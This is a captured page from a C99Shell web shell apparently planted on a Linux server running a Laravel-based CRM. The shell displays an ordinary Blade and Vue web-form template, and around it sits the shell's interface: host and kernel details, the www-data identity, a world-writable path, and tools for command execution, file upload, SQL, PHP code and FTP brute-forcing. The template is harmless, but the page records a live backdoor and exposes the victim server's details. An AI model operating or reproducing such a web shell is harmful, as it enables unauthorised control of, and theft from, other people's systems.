!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/WebForm/src/Resources/views/settings/web-forms/   drwxrwxrwx
Free 13.14 GB of 57.97 GB (22.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     preview.blade.php (6.07 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<x-web_form::layouts>
    <x-slot:title>
        {{ $webForm->title }}
    </x-slot>

    <!-- Web Form -->
    <v-web-form>
        <div class="flex h-[100vh] items-center justify-center">
            <div class="flex flex-col items-center gap-5">
                <x-web_form::spinner />
            </div>
        </div>
    </v-web-form>

    @pushOnce('scripts')
        <script
            type="text/template"
            id="v-web-form-template"
        >
            <div
                class="flex h-[100vh] items-center justify-center"
                style="background-color: {{ $webForm->background_color }}"
            >
                <div class="flex flex-col items-center gap-5">
                    <!-- Logo -->
                    <img
                        class="w-max"
                        src="{{ vite()->asset('images/logo.svg') }}"
                        alt="{{ config('app.name') }}"
                    />

                    <h1
                        class="text-2xl font-bold"
                        style="color: {{ $webForm->form_title_color }} !important;"
                    >
                        {{ $webForm->title }}
                    </h1>

                    <p class="mt-2 text-base text-gray-600">{{ $webForm->description }}</p>

                    <div
                        class="box-shadow flex min-w-[300px] flex-col rounded-lg border border-gray-200 bg-white p-4 dark:bg-gray-900"
                        style="background-color: {{ $webForm->form_background_color }}"
                    >
                        {!! view_render_event('web_forms.web_forms.form_controls.before', ['webForm' => $webForm]) !!}

                        <!-- Webform Form -->
                        <x-web_form::form
                            v-slot="{ meta, values, errors, handleSubmit }"
                            as="div"
                            ref="modalForm"
                        >
                            <form
                                @submit="handleSubmit($event, create)"
                                ref="webForm"
                            >
                                @include('web_form::settings.web-forms.controls')

                                <div class="flex justify-center">
                                    <x-web_form::button
                                        class="primary-button"
                                        :title="$webForm->submit_button_label"
                                        ::loading="isStoring"
                                        ::disabled="isStoring"
                                        style="background-color: {{ $webForm->form_submit_button_color }} !important"
                                    />
                                </div>
                            </form>
                        </x-web_form::form>

                        {!! view_render_event('web_forms.web_forms.form_controls.after', ['webForm' => $webForm]) !!}
                    </div>
                </div>
            </div>
        </script>

        <script type="module">
            app.component('v-web-form', {
                template: '#v-web-form-template',

                data() {
                    return {
                        isStoring: false,
                    };
                },

                methods: {
                    create(params, { resetForm, setErrors }) {
                        this.isStoring = true;

                        const formData = new FormData(this.$refs.webForm);

                        let inputNames = Array.from(formData.keys());

                        inputNames = inputNames.reduce((acc, name) => {
                            const dotName = name.replace(/\[([^\]]+)\]/g, '.$1');

                            acc[dotName] = name;

                            return acc;
                        }, {});

                        this.$axios
                            .post('{{ route('admin.settings.web_forms.form_store', $webForm->id) }}', formData, {
                                headers: {
                                    'Content-Type': 'multipart/form-data',
                                },
                            })
                            .then(response => {
                                resetForm();

                                this.$refs.webForm.reset();

                                this.$emitter.emit('add-flash', { type: 'success', message: response.data.message });
                            })
                            .catch(error => {
                                if (error.response.data.redirect) {
                                    window.location.href = error.response.data.redirect;

                                    return;
                                }

                                if (! error.response.data.errors) {
                                    this.$emitter.emit('add-flash', { type: 'error', message: error.response.data.message });

                                    return;
                                }

                                const laravelErrors = error.response.data.errors || {};
                                const mappedErrors = {};

                                for (
                                    const [dotKey, messages]
                                    of Object.entries(laravelErrors)
                                ) {
                                    const inputName = inputNames[dotKey];

                                    if (
                                        inputName
                                        && messages.length
                                    ) {
                                        mappedErrors[inputName] = messages[0];
                                    }
                                }

                                setErrors(mappedErrors);
                            })
                            .finally(() => {
                                this.isStoring = false;
                            });
                    }
                }
            });
        </script>
    @endPushOnce
</x-web_form::layouts>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--